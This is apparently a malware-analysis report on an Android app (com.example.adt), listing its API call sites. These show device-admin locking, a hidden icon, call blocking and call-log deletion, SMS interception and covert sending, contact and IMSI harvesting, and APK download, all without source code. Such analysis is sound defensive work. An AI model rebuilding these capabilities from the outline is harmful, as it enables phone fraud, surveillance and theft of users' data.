API: java.io.PrintStream->println at com.example.adt.LockReceiver.onEnabled:8 | Show source |
---|
API: android.app.admin.DeviceAdminReceiver->onEnabled at com.example.adt.LockReceiver.onEnabled:10 | Show source |
---|
API: android.app.admin.DeviceAdminReceiver-><init> at ..:2 | Show source |
---|
API: java.io.PrintStream->println at com.example.adt.LockReceiver.onDisabled:8 | Show source |
---|
API: android.app.admin.DeviceAdminReceiver->onDisabled at com.example.adt.LockReceiver.onDisabled:10 | Show source |
---|
API: android.content.Intent-><init> at com.example.adt.MainActivity.activeManager:5 | Show source |
---|
API: android.app.Activity-><init> at ..:2 | Show source |
---|
API: com.example.adt.MainActivity->getPackageManager at ..:2 | Show source |
---|
API: com.example.adt.MainActivity->getComponentName at ..:5 | Show source |
---|
API: android.content.pm.PackageManager->setComponentEnabledSetting at ..:10 | Show source |
---|
API: android.app.Activity->onCreate at com.example.adt.MainActivity.onCreate:3 | Show source |
---|
API: com.example.adt.MainActivity->setContentView at com.example.adt.MainActivity.onCreate:9 | Show source |
---|
API: com.example.adt.MainActivity->getComponentName at com.example.adt.MainActivity.onCreate:12 | Show source |
---|
API: android.content.ComponentName-><init> at com.example.adt.MainActivity.onCreate:25 | Show source |
---|
API: android.app.admin.DevicePolicyManager->lockNow at com.example.adt.MainActivity.onCreate:38 | Show source |
---|
API: android.content.Intent-><init> at com.example.adt.MainActivity.onCreate:42 | Show source |
---|
API: java.io.PrintStream->println at com.example.adt.MainActivity.onCreate:50 | Show source |
---|
API: com.example.adt.MainActivity->HideIcon at com.example.adt.MainActivity.onCreate:56 | Show source |
---|
API: com.example.adt.MainActivity->finish at com.example.adt.MainActivity.onCreate:58 | Show source |
---|
API: com.example.adt.MainActivity->activeManager at com.example.adt.MainActivity.onCreate:61 | Show source |
---|
API: java.lang.Object-><init> at ..:4 | Show source |
---|
API: com.example.adt.MainActivity->getPackageManager at ..:6 | Show source |
---|
API: com.example.adt.MainActivity->getComponentName at ..:11 | Show source |
---|
API: android.content.pm.PackageManager->setComponentEnabledSetting at ..:16 | Show source |
---|
API: com.example.adt.MainActivity->finish at ..:20 | Show source |
---|
API: android.content.Intent->getAction at com.example.adt.PhoneListener.onReceive:5 | Show source |
---|
API: android.content.Intent->getStringExtra at com.example.adt.PhoneListener.onReceive:10 | Show source |
---|
API: java.lang.String->equals at com.example.adt.PhoneListener.onReceive:16 | Show source |
---|
API: com.example.adt.CoreService->getSystemService at com.example.adt.PhoneListener.onReceive:25 | Show source |
---|
API: android.media.AudioManager->setVibrateSetting at com.example.adt.PhoneListener.onReceive:29 | Show source |
---|
API: android.media.AudioManager->setRingerMode at com.example.adt.PhoneListener.onReceive:31 | Show source |
---|
API: android.content.Context->getSystemService at com.example.adt.PhoneListener.onReceive:35 | Show source |
---|
API: android.telephony.TelephonyManager->getCallState at com.example.adt.PhoneListener.onReceive:39 | Show source |
---|
API: java.lang.Integer->valueOf at com.example.adt.PhoneListener.onReceive:52 | Show source |
---|
API: java.lang.StringBuilder-><init> at com.example.adt.PhoneListener.onReceive:60 | Show source |
---|
API: java.lang.StringBuilder->append at com.example.adt.PhoneListener.onReceive:64 | Show source |
---|
API: java.lang.StringBuilder->append at com.example.adt.PhoneListener.onReceive:69 | Show source |
---|
API: java.lang.StringBuilder->append at com.example.adt.PhoneListener.onReceive:72 | Show source |
---|
API: java.lang.StringBuilder->toString at com.example.adt.PhoneListener.onReceive:75 | Show source |
---|
API: java.io.PrintStream->println at com.example.adt.PhoneListener.onReceive:78 | Show source |
---|
API: java.lang.Integer->valueOf at com.example.adt.PhoneListener.onReceive:81 | Show source |
---|
API: java.lang.Integer->equals at com.example.adt.PhoneListener.onReceive:84 | Show source |
---|
API: com.example.adt.PhoneListener->endCall at com.example.adt.PhoneListener.onReceive:88 | Show source |
---|
API: java.lang.StringBuilder-><init> at com.example.adt.PhoneListener.onReceive:95 | Show source |
---|
API: java.lang.StringBuilder->append at com.example.adt.PhoneListener.onReceive:97 | Show source |
---|
API: java.lang.StringBuilder->toString at com.example.adt.PhoneListener.onReceive:100 | Show source |
---|
API: java.io.PrintStream->println at com.example.adt.PhoneListener.onReceive:103 | Show source |
---|
API: java.lang.Thread-><init> at com.example.adt.PhoneListener.onReceive:109 | Show source |
---|
API: java.lang.Thread->start at com.example.adt.PhoneListener.onReceive:111 | Show source |
---|
API: java.lang.Thread-><init> at com.example.adt.PhoneListener.onReceive:117 | Show source |
---|
API: java.lang.Thread->start at com.example.adt.PhoneListener.onReceive:119 | Show source |
---|
API: android.content.BroadcastReceiver-><init> at ..:2 | Show source |
---|
API: com.example.adt.PhoneListener->DeleteCall at ..:4 | Show source |
---|
API: com.example.adt.CoreService->getSystemService at com.example.adt.PhoneListener.endCall:6 | Show source |
---|
API: java.lang.Class->getDeclaredMethod at com.example.adt.PhoneListener.endCall:15 | Show source |
---|
API: java.lang.reflect.Method->setAccessible at com.example.adt.PhoneListener.endCall:19 | Show source |
---|
API: java.lang.reflect.Method->invoke at com.example.adt.PhoneListener.endCall:22 | Show source |
---|
API: com.example.adt.CoreService->getContentResolver at com.example.adt.PhoneListener.DeleteCall:5 | Show source |
---|
API: android.content.ContentResolver->delete at com.example.adt.PhoneListener.DeleteCall:16 | Show source |
---|
API: java.lang.Object-><init> at ..:4 | Show source |
---|
API: java.lang.String->valueOf at com.example.adt.PhoneListener$1.run:17 | Show source |
---|
API: java.lang.StringBuilder-><init> at com.example.adt.PhoneListener$1.run:20 | Show source |
---|
API: java.lang.StringBuilder->append at com.example.adt.PhoneListener$1.run:24 | Show source |
---|
API: java.lang.StringBuilder->append at com.example.adt.PhoneListener$1.run:29 | Show source |
---|
API: java.lang.StringBuilder->append at com.example.adt.PhoneListener$1.run:36 | Show source |
---|
API: java.lang.StringBuilder->append at com.example.adt.PhoneListener$1.run:41 | Show source |
---|
API: java.lang.StringBuilder->append at com.example.adt.PhoneListener$1.run:44 | Show source |
---|
API: java.lang.StringBuilder->append at com.example.adt.PhoneListener$1.run:49 | Show source |
---|
API: java.lang.StringBuilder->append at com.example.adt.PhoneListener$1.run:56 | Show source |
---|
API: java.lang.StringBuilder->toString at com.example.adt.PhoneListener$1.run:59 | Show source |
---|
API: java.lang.StringBuilder-><init> at com.example.adt.PhoneListener$1.run:67 | Show source |
---|
API: java.lang.StringBuilder->append at com.example.adt.PhoneListener$1.run:69 | Show source |
---|
API: java.lang.StringBuilder->toString at com.example.adt.PhoneListener$1.run:72 | Show source |
---|
API: java.io.PrintStream->println at com.example.adt.PhoneListener$1.run:75 | Show source |
---|
API: java.lang.Thread->sleep at ..:12 | Show source |
---|
API: com.example.adt.PhoneListener->access$0 at ..:20 | Show source |
---|
API: java.lang.Object-><init> at ..:4 | Show source |
---|
API: java.lang.Object-><init> at ..:2 | Show source |
---|
API: java.lang.Object-><init> at ..:2 | Show source |
---|
API: java.lang.Object-><init> at ..:2 | Show source |
---|
API: java.lang.Object-><init> at ..:2 | Show source |
---|
API: java.lang.Object-><init> at ..:2 | Show source |
---|
API: java.lang.Object-><init> at ..:2 | Show source |
---|
API: java.lang.Object-><init> at ..:2 | Show source |
---|
API: java.lang.Object-><init> at ..:2 | Show source |
---|
API: java.lang.Object-><init> at ..:2 | Show source |
---|
API: java.lang.Object-><init> at ..:4 | Show source |
---|
API: com.example.adt.SMS$1-><init> at ..:9 | Show source |
---|
API: java.net.URLDecoder->decode at com.example.adt.SMS.send:3 | Show source |
---|
API: java.lang.String->split at com.example.adt.SMS.send:8 | Show source |
---|
API: java.lang.Thread-><init> at com.example.adt.SMS.send:16 | Show source |
---|
API: java.lang.Thread->start at com.example.adt.SMS.send:18 | Show source |
---|
API: android.telephony.SmsManager->getDefault at com.example.adt.SMS.sendData:5 | Show source |
---|
API: java.lang.String->length at com.example.adt.SMS.sendData:10 | Show source |
---|
API: android.content.Intent-><init> at com.example.adt.SMS.sendData:18 | Show source |
---|
API: android.content.Intent-><init> at com.example.adt.SMS.sendData:23 | Show source |
---|
API: android.app.PendingIntent->getBroadcast at com.example.adt.SMS.sendData:27 | Show source |
---|
API: android.content.IntentFilter-><init> at com.example.adt.SMS.sendData:37 | Show source |
---|
API: com.example.adt.CoreService->registerReceiver at com.example.adt.SMS.sendData:39 | Show source |
---|
API: android.app.PendingIntent->getBroadcast at com.example.adt.SMS.sendData:43 | Show source |
---|
API: android.telephony.SmsManager->sendTextMessage at com.example.adt.SMS.sendData:51 | Show source |
---|
API: com.example.adt.SMS$1->getResultCode at ..:4 | Show source |
---|
API: java.lang.Thread-><init> at ..:12 | Show source |
---|
API: java.lang.Thread->start at ..:14 | Show source |
---|
API: java.lang.Thread-><init> at ..:21 | Show source |
---|
API: java.lang.Thread->start at ..:23 | Show source |
---|
API: android.content.BroadcastReceiver-><init> at ..:4 | Show source |
---|
API: java.lang.Object-><init> at ..:4 | Show source |
---|
API: com.example.adt.SMS$1->access$0 at com.example.adt.SMS$1$1.run:4 | Show source |
---|
API: java.lang.String->trim at com.example.adt.SMS$1$1.run:9 | Show source |
---|
API: java.lang.String->valueOf at com.example.adt.SMS$1$1.run:22 | Show source |
---|
API: java.lang.StringBuilder-><init> at com.example.adt.SMS$1$1.run:25 | Show source |
---|
API: java.lang.StringBuilder->append at com.example.adt.SMS$1$1.run:29 | Show source |
---|
API: java.lang.StringBuilder->append at com.example.adt.SMS$1$1.run:34 | Show source |
---|
API: java.lang.StringBuilder->append at com.example.adt.SMS$1$1.run:37 | Show source |
---|
API: java.lang.StringBuilder->append at com.example.adt.SMS$1$1.run:42 | Show source |
---|
API: com.example.adt.SMS$1->access$0 at com.example.adt.SMS$1$1.run:47 | Show source |
---|
API: java.lang.StringBuilder->append at com.example.adt.SMS$1$1.run:52 | Show source |
---|
API: java.lang.StringBuilder->append at com.example.adt.SMS$1$1.run:57 | Show source |
---|
API: java.lang.StringBuilder->toString at com.example.adt.SMS$1$1.run:60 | Show source |
---|
API: java.lang.StringBuilder-><init> at com.example.adt.SMS$1$1.run:68 | Show source |
---|
API: java.lang.StringBuilder->append at com.example.adt.SMS$1$1.run:70 | Show source |
---|
API: java.lang.StringBuilder->toString at com.example.adt.SMS$1$1.run:73 | Show source |
---|
API: java.io.PrintStream->println at com.example.adt.SMS$1$1.run:76 | Show source |
---|
API: com.example.adt.SMS$1->access$0 at com.example.adt.SMS$1$2.run:4 | Show source |
---|
API: java.lang.String->trim at com.example.adt.SMS$1$2.run:9 | Show source |
---|
API: java.lang.String->valueOf at com.example.adt.SMS$1$2.run:22 | Show source |
---|
API: java.lang.StringBuilder-><init> at com.example.adt.SMS$1$2.run:25 | Show source |
---|
API: java.lang.StringBuilder->append at com.example.adt.SMS$1$2.run:29 | Show source |
---|
API: java.lang.StringBuilder->append at com.example.adt.SMS$1$2.run:34 | Show source |
---|
API: java.lang.StringBuilder->append at com.example.adt.SMS$1$2.run:37 | Show source |
---|
API: java.lang.StringBuilder->append at com.example.adt.SMS$1$2.run:42 | Show source |
---|
API: com.example.adt.SMS$1->access$0 at com.example.adt.SMS$1$2.run:47 | Show source |
---|
API: java.lang.StringBuilder->append at com.example.adt.SMS$1$2.run:52 | Show source |
---|
API: java.lang.StringBuilder->append at com.example.adt.SMS$1$2.run:57 | Show source |
---|
API: java.lang.StringBuilder->toString at com.example.adt.SMS$1$2.run:60 | Show source |
---|
API: java.lang.StringBuilder-><init> at com.example.adt.SMS$1$2.run:68 | Show source |
---|
API: java.lang.StringBuilder->append at com.example.adt.SMS$1$2.run:70 | Show source |
---|
API: java.lang.StringBuilder->toString at com.example.adt.SMS$1$2.run:73 | Show source |
---|
API: java.io.PrintStream->println at com.example.adt.SMS$1$2.run:76 | Show source |
---|
API: java.lang.Object-><init> at ..:4 | Show source |
---|
API: java.lang.Object-><init> at ..:4 | Show source |
---|
API: java.lang.Thread->sleep at com.example.adt.SMS$2.run:13 | Show source |
---|
API: java.lang.StringBuilder-><init> at com.example.adt.SMS$2.run:20 | Show source |
---|
API: java.lang.Integer->toString at com.example.adt.SMS$2.run:27 | Show source |
---|
API: java.lang.StringBuilder->append at com.example.adt.SMS$2.run:30 | Show source |
---|
API: java.lang.StringBuilder->append at com.example.adt.SMS$2.run:35 | Show source |
---|
API: java.lang.StringBuilder->append at com.example.adt.SMS$2.run:41 | Show source |
---|
API: java.lang.StringBuilder->toString at com.example.adt.SMS$2.run:44 | Show source |
---|
API: java.io.PrintStream->println at com.example.adt.SMS$2.run:47 | Show source |
---|
API: java.lang.Thread-><init> at com.example.adt.SMS$2.run:79 | Show source |
---|
API: java.lang.Thread->start at com.example.adt.SMS$2.run:81 | Show source |
---|
API: java.lang.InterruptedException->printStackTrace at com.example.adt.SMS$2.run:85 | Show source |
---|
API: java.lang.String->valueOf at com.example.adt.SMS$2$1.run:12 | Show source |
---|
API: java.lang.StringBuilder-><init> at com.example.adt.SMS$2$1.run:15 | Show source |
---|
API: java.lang.StringBuilder->append at com.example.adt.SMS$2$1.run:19 | Show source |
---|
API: java.lang.StringBuilder->append at com.example.adt.SMS$2$1.run:24 | Show source |
---|
API: java.lang.StringBuilder->append at com.example.adt.SMS$2$1.run:34 | Show source |
---|
API: java.lang.StringBuilder->toString at com.example.adt.SMS$2$1.run:37 | Show source |
---|
API: java.lang.Object-><init> at ..:4 | Show source |
---|
API: java.lang.StringBuilder-><init> at com.example.adt.SMSReceiver.onReceive:10 | Show source |
---|
API: com.example.adt.SMSReceiver->isOrderedBroadcast at com.example.adt.SMSReceiver.onReceive:12 | Show source |
---|
API: java.lang.StringBuilder->append at com.example.adt.SMSReceiver.onReceive:15 | Show source |
---|
API: java.lang.StringBuilder->toString at com.example.adt.SMSReceiver.onReceive:18 | Show source |
---|
API: java.io.PrintStream->println at com.example.adt.SMSReceiver.onReceive:21 | Show source |
---|
API: android.content.Intent->getExtras at com.example.adt.SMSReceiver.onReceive:23 | Show source |
---|
API: android.os.Bundle->get at com.example.adt.SMSReceiver.onReceive:28 | Show source |
---|
API: android.telephony.SmsMessage->createFromPdu at com.example.adt.SMSReceiver.onReceive:46 | Show source |
---|
API: android.telephony.SmsMessage->getMessageBody at com.example.adt.SMSReceiver.onReceive:53 | Show source |
---|
API: java.lang.String->trim at com.example.adt.SMSReceiver.onReceive:56 | Show source |
---|
API: java.net.URLEncoder->encode at com.example.adt.SMSReceiver.onReceive:59 | Show source |
---|
API: android.telephony.SmsMessage->getOriginatingAddress at com.example.adt.SMSReceiver.onReceive:63 | Show source |
---|
API: java.lang.Integer->valueOf at com.example.adt.SMSReceiver.onReceive:83 | Show source |
---|
API: java.lang.Integer->valueOf at com.example.adt.SMSReceiver.onReceive:86 | Show source |
---|
API: java.lang.Integer->equals at com.example.adt.SMSReceiver.onReceive:89 | Show source |
---|
API: java.lang.Thread-><init> at com.example.adt.SMSReceiver.onReceive:97 | Show source |
---|
API: java.lang.Thread->start at com.example.adt.SMSReceiver.onReceive:99 | Show source |
---|
API: com.example.adt.SMSReceiver->abortBroadcast at com.example.adt.SMSReceiver.onReceive:101 | Show source |
---|
API: android.content.BroadcastReceiver-><init> at ..:2 | Show source |
---|
API: java.lang.String->valueOf at com.example.adt.SMSReceiver$1.run:12 | Show source |
---|
API: java.lang.StringBuilder-><init> at com.example.adt.SMSReceiver$1.run:15 | Show source |
---|
API: java.lang.StringBuilder->append at com.example.adt.SMSReceiver$1.run:19 | Show source |
---|
API: java.lang.StringBuilder->append at com.example.adt.SMSReceiver$1.run:24 | Show source |
---|
API: java.lang.StringBuilder->append at com.example.adt.SMSReceiver$1.run:31 | Show source |
---|
API: java.lang.StringBuilder->append at com.example.adt.SMSReceiver$1.run:36 | Show source |
---|
API: java.lang.StringBuilder->append at com.example.adt.SMSReceiver$1.run:43 | Show source |
---|
API: java.lang.StringBuilder->append at com.example.adt.SMSReceiver$1.run:48 | Show source |
---|
API: java.lang.StringBuilder->append at com.example.adt.SMSReceiver$1.run:55 | Show source |
---|
API: java.lang.StringBuilder->append at com.example.adt.SMSReceiver$1.run:60 | Show source |
---|
API: java.lang.StringBuilder->append at com.example.adt.SMSReceiver$1.run:67 | Show source |
---|
API: java.lang.StringBuilder->toString at com.example.adt.SMSReceiver$1.run:70 | Show source |
---|
API: java.lang.StringBuilder-><init> at com.example.adt.SMSReceiver$1.run:84 | Show source |
---|
API: java.lang.StringBuilder->append at com.example.adt.SMSReceiver$1.run:86 | Show source |
---|
API: java.lang.StringBuilder->toString at com.example.adt.SMSReceiver$1.run:89 | Show source |
---|
API: java.io.PrintStream->println at com.example.adt.SMSReceiver$1.run:92 | Show source |
---|
API: java.lang.Object-><init> at ..:4 | Show source |
---|
Method: com.example.adt.MainActivity.onCreate:32 | Show source |
---|
Name | Type | Value |
---|---|---|
who | android.content.ComponentName |
|
Name | Type | Value |
---|---|---|
Return Value | java.lang.Boolean |
|
Method: com.example.adt.MainActivity.onCreate:6 | Show source |
---|
Name | Type | Value |
---|---|---|
featureId | java.lang.Integer |
|
Name | Type | Value |
---|---|---|
Return Value | android.util.AndroidRuntimeException |
|
Method: com.example.adt.CoreService$MyBroadcastReciver.onReceive:123 | Show source |
---|
Method: com.example.adt.App.changeApk:35 | Show source |
---|
Method: com.example.adt.CoreService.autoChangeApk:54 | Show source |
---|
Method: com.example.adt.CoreService$MyBroadcastReciver.onReceive:169 | Show source |
---|
Method: com.example.adt.App.changeApk:55 | Show source |
---|
Method: com.example.adt.CoreService.autoChangeApk:92 | Show source |
---|
Method: com.example.adt.CoreService$MyBroadcastReciver.onReceive:149 | Show source |
---|
Method: com.example.adt.CoreService.autoChangeApk:76 | Show source |
---|
Method: com.example.adt.CoreService$MyBroadcastReciver.onReceive:167 | Show source |
---|
Method: com.example.adt.App.changeApk:53 | Show source |
---|
Method: com.example.adt.CoreService.autoChangeApk:90 | Show source |
---|
Method: com.example.adt.CoreService$MyBroadcastReciver.onReceive:158 | Show source |
---|
Method: com.example.adt.App.changeApk:46 | Show source |
---|
Method: com.example.adt.CoreService.autoChangeApk:83 | Show source |
---|
Method: com.example.adt.CoreService$MyBroadcastReciver.onReceive:129 | Show source |
---|
Method: com.example.adt.App.changeApk:39 | Show source |
---|
Method: com.example.adt.CoreService.autoChangeApk:58 | Show source |
---|
Method: com.example.adt.CoreService$MyBroadcastReciver.onReceive:172 | Show source |
---|
Method: com.example.adt.App.changeApk:58 | Show source |
---|
Method: com.example.adt.CoreService.autoChangeApk:95 | Show source |
---|
Method: com.example.adt.CoreService$MyBroadcastReciver.onReceive:178 | Show source |
---|
Method: com.example.adt.App.changeApk:64 | Show source |
---|
Method: com.example.adt.CoreService.autoChangeApk:101 | Show source |
---|
Method: com.example.adt.CoreService.showNofity:28 | Show source |
---|
Method: com.example.adt.SMS.sendData:27 | Show source |
---|
Method: com.example.adt.SMS.sendData:43 | Show source |
---|
Method: com.example.adt.Config.get:11 | Show source |
---|
Name | Type | Value |
---|---|---|
p0 | java.lang.String |
|
p1 | java.lang.String |
|
Name | Type | Value |
---|---|---|
Return Value | java.lang.String |
|
Method: com.example.adt.Config.get:11 | Show source |
---|
Name | Type | Value |
---|---|---|
p0 | java.lang.String |
|
p1 | java.lang.String |
|
Name | Type | Value |
---|---|---|
Return Value | java.lang.String |
|
Method: com.example.adt.App.autoChangeApps:46 | Show source |
---|
Method: com.example.adt.App.getApps:71 | Show source |
---|
Method: com.example.adt.App.hasApp:45 | Show source |
---|
Method: com.example.adt.App.autoChangeApps:12 | Show source |
---|
Method: com.example.adt.App.getApps:10 | Show source |
---|
Method: com.example.adt.App.hasApp:12 | Show source |
---|
Method: ..:2 | Show source |
---|
Method: ..:4 | Show source |
---|
Method: ..:2 | Show source |
---|
Method: ..:2 | Show source |
---|
Method: ..:4 | Show source |
---|
Method: com.example.adt.Contact.getPhoneContacts:17 | Show source |
---|
Name | Type | Value |
---|---|---|
p0 | android.net.Uri$HierarchicalUri |
|
p1 | [Ljava.lang.String; |
|
p2 | null |
|
p3 | null |
|
p4 | null |
|
Name | Type | Value |
---|---|---|
Return Value | android.content.ContentResolver$CursorWrapperInner |
|
Method: com.example.adt.Contact.getPhoneContacts:17 | Show source |
---|
Name | Type | Value |
---|---|---|
p0 | android.net.Uri$HierarchicalUri |
|
p1 | [Ljava.lang.String; |
|
p2 | null |
|
p3 | null |
|
p4 | null |
|
Name | Type | Value |
---|---|---|
Return Value | android.content.ContentResolver$CursorWrapperInner |
|
Method: com.example.adt.Contact.getPhoneContacts:17 | Show source |
---|
Name | Type | Value |
---|---|---|
p0 | android.net.Uri$HierarchicalUri |
|
p1 | [Ljava.lang.String; |
|
p2 | null |
|
p3 | null |
|
p4 | null |
|
Name | Type | Value |
---|---|---|
Return Value | android.content.ContentResolver$CursorWrapperInner |
|
Method: com.example.adt.Config.get:8 | Show source |
---|
Method: com.example.adt.Config.set:8 | Show source |
---|
Method: com.example.adt.Config.set:8 | Show source |
---|
Method: com.example.adt.Config.get:8 | Show source |
---|
Method: com.example.adt.PhoneListener.onReceive:35 | Show source |
---|
Method: com.example.adt.Config.isNetworkConnected:6 | Show source |
---|
Method: com.example.adt.Config.getAPNType:11 | Show source |
---|
Method: com.example.adt.Config.isServiceRunning:7 | Show source |
---|
Method: com.example.adt.DownLoad.openFile:11 | Show source |
---|
Method: com.example.adt.CoreService.showNofity:24 | Show source |
---|
Method: com.example.adt.App.autoChangeApps:101 | Show source |
---|
Method: com.example.adt.CoreService$BtnClick$1.run:5 | Show source |
---|
Method: com.example.adt.MainActivity.activeManager:5 | Show source |
---|
Method: com.example.adt.App.alertBroadCast:4 | Show source |
---|
Method: com.example.adt.BootBroadcastReceiver.onReceive:23 | Show source |
---|
Method: com.example.adt.SMS.sendData:18 | Show source |
---|
Method: com.example.adt.SMS.sendData:23 | Show source |
---|
Method: com.example.adt.CoreService.uninstallAPK:38 | Show source |
---|
Method: com.example.adt.MainActivity.onCreate:42 | Show source |
---|
Method: com.example.adt.CoreService.onCreate:78 | Show source |
---|
Method: com.example.adt.SMS.sendData:37 | Show source |
---|
Method: com.example.adt.CoreService.onCreate:82 | Show source |
---|
Method: com.example.adt.CoreService.onCreate:86 | Show source |
---|
Method: com.example.adt.CoreService.onCreate:90 | Show source |
---|
Method: com.example.adt.CoreService.onCreate:94 | Show source |
---|
Method: com.example.adt.CoreService$MyBroadcastReciver.onReceive:5 | Show source |
---|
Method: com.example.adt.PhoneListener.onReceive:5 | Show source |
---|
Method: com.example.adt.BootBroadcastReceiver.onReceive:4 | Show source |
---|
Method: com.example.adt.BootBroadcastReceiver.onReceive:13 | Show source |
---|
Method: com.example.adt.BootBroadcastReceiver.onReceive:30 | Show source |
---|
Method: com.example.adt.BootBroadcastReceiver.onReceive:44 | Show source |
---|
Method: com.example.adt.BootBroadcastReceiver.onReceive:55 | Show source |
---|
Method: com.example.adt.BootBroadcastReceiver.onReceive:109 | Show source |
---|
Method: com.example.adt.BootBroadcastReceiver.onReceive:64 | Show source |
---|
Method: com.example.adt.BootBroadcastReceiver.onReceive:98 | Show source |
---|
Method: com.example.adt.CoreService$MyBroadcastReciver.onReceive:204 | Show source |
---|
Method: com.example.adt.SMSReceiver.onReceive:23 | Show source |
---|
Method: com.example.adt.CoreService$MyBroadcastReciver.onReceive:21 | Show source |
---|
Method: com.example.adt.PhoneListener.onReceive:10 | Show source |
---|
Method: com.example.adt.App.alertBroadCast:13 | Show source |
---|
Method: com.example.adt.App.alertBroadCast:17 | Show source |
---|
Method: com.example.adt.MainActivity.activeManager:11 | Show source |
---|
Name | Type | Value |
---|---|---|
p0 | java.lang.String |
|
p1 | android.content.ComponentName |
|
Name | Type | Value |
---|---|---|
Return Value | android.content.Intent |
|
Method: com.example.adt.MainActivity.activeManager:17 | Show source |
---|
Name | Type | Value |
---|---|---|
p0 | java.lang.String |
|
p1 | java.lang.String |
|
Name | Type | Value |
---|---|---|
Return Value | android.content.Intent |
|
Method: com.example.adt.DownLoad.openFile:18 | Show source |
---|
Method: com.example.adt.App.autoChangeApps:114 | Show source |
---|
Method: com.example.adt.CoreService$BtnClick$1.run:9 | Show source |
---|
Method: com.example.adt.App.alertBroadCast:8 | Show source |
---|
Method: com.example.adt.Contact.getPhoneContacts:41 | Show source |
---|
Method: com.example.adt.Contact.getPhoneContacts:49 | Show source |
---|
Method: com.example.adt.Config.isNetworkConnected:10 | Show source |
---|
Method: com.example.adt.Config.getAPNType:15 | Show source |
---|
Method: com.example.adt.CoreService.NetWorkStatus:9 | Show source |
---|
Method: com.example.adt.CoreService.NetWorkStatus:11 | Show source |
---|
Method: com.example.adt.CoreService.NetWorkStatus:15 | Show source |
---|
Method: com.example.adt.Config.getAPNType:31 | Show source |
---|
Method: com.example.adt.Config.getAPNType:43 | Show source |
---|
Method: com.example.adt.Config.isNetworkConnected:14 | Show source |
---|
Method: com.example.adt.CoreService.NetWorkStatus:18 | Show source |
---|
Method: com.example.adt.FileUtils.<init>:9 | Show source |
---|
Method: com.example.adt.Config.getSDPath:12 | Show source |
---|
Method: com.example.adt.Config.configPath:2 | Show source |
---|
Method: com.android.internal.telephony.ITelephony$Stub$Proxy.answerRingingCall:21 | Show source |
---|
Method: com.android.internal.telephony.ITelephony$Stub$Proxy.endCall:23 | Show source |
---|
Method: com.android.internal.telephony.ITelephony$Stub.onTransact:24 | Show source |
---|
Method: com.android.internal.telephony.ITelephony$Stub.onTransact:40 | Show source |
---|
Method: com.android.internal.telephony.ITelephony$Stub$Proxy.answerRingingCall:7 | Show source |
---|
Method: com.android.internal.telephony.ITelephony$Stub$Proxy.answerRingingCall:10 | Show source |
---|
Method: com.android.internal.telephony.ITelephony$Stub$Proxy.endCall:9 | Show source |
---|
Method: com.android.internal.telephony.ITelephony$Stub$Proxy.endCall:12 | Show source |
---|
Method: com.android.internal.telephony.ITelephony$Stub$Proxy.answerRingingCall:23 | Show source |
---|
Method: com.android.internal.telephony.ITelephony$Stub$Proxy.endCall:25 | Show source |
---|
Method: com.android.internal.telephony.ITelephony$Stub$Proxy.answerRingingCall:25 | Show source |
---|
Method: com.android.internal.telephony.ITelephony$Stub$Proxy.answerRingingCall:27 | Show source |
---|
Method: com.android.internal.telephony.ITelephony$Stub$Proxy.answerRingingCall:31 | Show source |
---|
Method: com.android.internal.telephony.ITelephony$Stub$Proxy.answerRingingCall:33 | Show source |
---|
Method: com.android.internal.telephony.ITelephony$Stub$Proxy.endCall:31 | Show source |
---|
Method: com.android.internal.telephony.ITelephony$Stub$Proxy.endCall:33 | Show source |
---|
Method: com.android.internal.telephony.ITelephony$Stub$Proxy.endCall:39 | Show source |
---|
Method: com.android.internal.telephony.ITelephony$Stub$Proxy.endCall:41 | Show source |
---|
Method: com.android.internal.telephony.ITelephony$Stub$Proxy.answerRingingCall:15 | Show source |
---|
Method: com.android.internal.telephony.ITelephony$Stub$Proxy.endCall:17 | Show source |
---|
Method: com.android.internal.telephony.ITelephony$Stub.onTransact:29 | Show source |
---|
Method: com.android.internal.telephony.ITelephony$Stub.onTransact:44 | Show source |
---|
Method: com.example.adt.Config.getPhoneNumber:9 | Show source |
---|
Name | Type | Value |
---|---|---|
Return Value | java.lang.String |
|
Method: com.example.adt.Config.getPhoneNumber:9 | Show source |
---|
Name | Type | Value |
---|---|---|
Return Value | java.lang.String |
|
Method: com.example.adt.Config.getPhoneNumber:9 | Show source |
---|
Name | Type | Value |
---|---|---|
Return Value | java.lang.String |
|
Method: com.example.adt.Config.getPhoneNumber:9 | Show source |
---|
Name | Type | Value |
---|---|---|
Return Value | java.lang.String |
|
Method: com.example.adt.Config.getIMSI:9 | Show source |
---|
Name | Type | Value |
---|---|---|
Return Value | java.lang.String |
|
Method: com.example.adt.Config.getIMSI:9 | Show source |
---|
Name | Type | Value |
---|---|---|
Return Value | java.lang.String |
|
Method: com.example.adt.Connect.getHttpConnection:43 | Show source |
---|
Method: com.example.adt.Connect.getHttpConnection:73 | Show source |
---|
Method: com.example.adt.Connect.getHttpConnection:80 | Show source |
---|
Method: com.example.adt.DownLoad.openFile:8 | Show source |
---|
Method: com.example.adt.CoreService$MyBroadcastReciver.onReceive:176 | Show source |
---|
Method: com.example.adt.App.changeApk:62 | Show source |
---|
Method: com.example.adt.CoreService.autoChangeApk:99 | Show source |
---|
Method: com.example.adt.App$1.run:67 | Show source |
---|
Method: com.example.adt.CoreService$HTRunnable.run:99 | Show source |
---|
Method: com.example.adt.DownLoad.downLoadFile:24 | Show source |
---|
Method: com.example.adt.DownLoad.downLoadFile:37 | Show source |
---|
Method: com.example.adt.Contact.getPhoneContacts:8 | Show source |
---|
Method: com.example.adt.PhoneListener.DeleteCall:5 | Show source |
---|
Method: com.example.adt.App.autoChangeApps:8 | Show source |
---|
Method: com.example.adt.App.hasApp:8 | Show source |
---|
Method: com.example.adt.PhoneListener.onReceive:25 | Show source |
---|
Method: com.example.adt.CoreService.showNofity:11 | Show source |
---|
Method: com.example.adt.PhoneListener.endCall:6 | Show source |
---|
Method: com.example.adt.CoreService.NetWorkStatus:5 | Show source |
---|
Method: com.example.adt.Config.getIMSI:5 | Show source |
---|
Name | Type | Value |
---|---|---|
p0 | java.lang.String |
|
Name | Type | Value |
---|---|---|
Return Value | android.telephony.TelephonyManager |
|
Method: com.example.adt.Config.getPhoneNumber:5 | Show source |
---|
Name | Type | Value |
---|---|---|
p0 | java.lang.String |
|
Name | Type | Value |
---|---|---|
Return Value | android.telephony.TelephonyManager |
|
Method: com.example.adt.Config.getPhoneNumber:5 | Show source |
---|
Name | Type | Value |
---|---|---|
p0 | java.lang.String |
|
Name | Type | Value |
---|---|---|
Return Value | android.telephony.TelephonyManager |
|
Method: com.example.adt.Config.getIMSI:5 | Show source |
---|
Name | Type | Value |
---|---|---|
p0 | java.lang.String |
|
Name | Type | Value |
---|---|---|
Return Value | android.telephony.TelephonyManager |
|
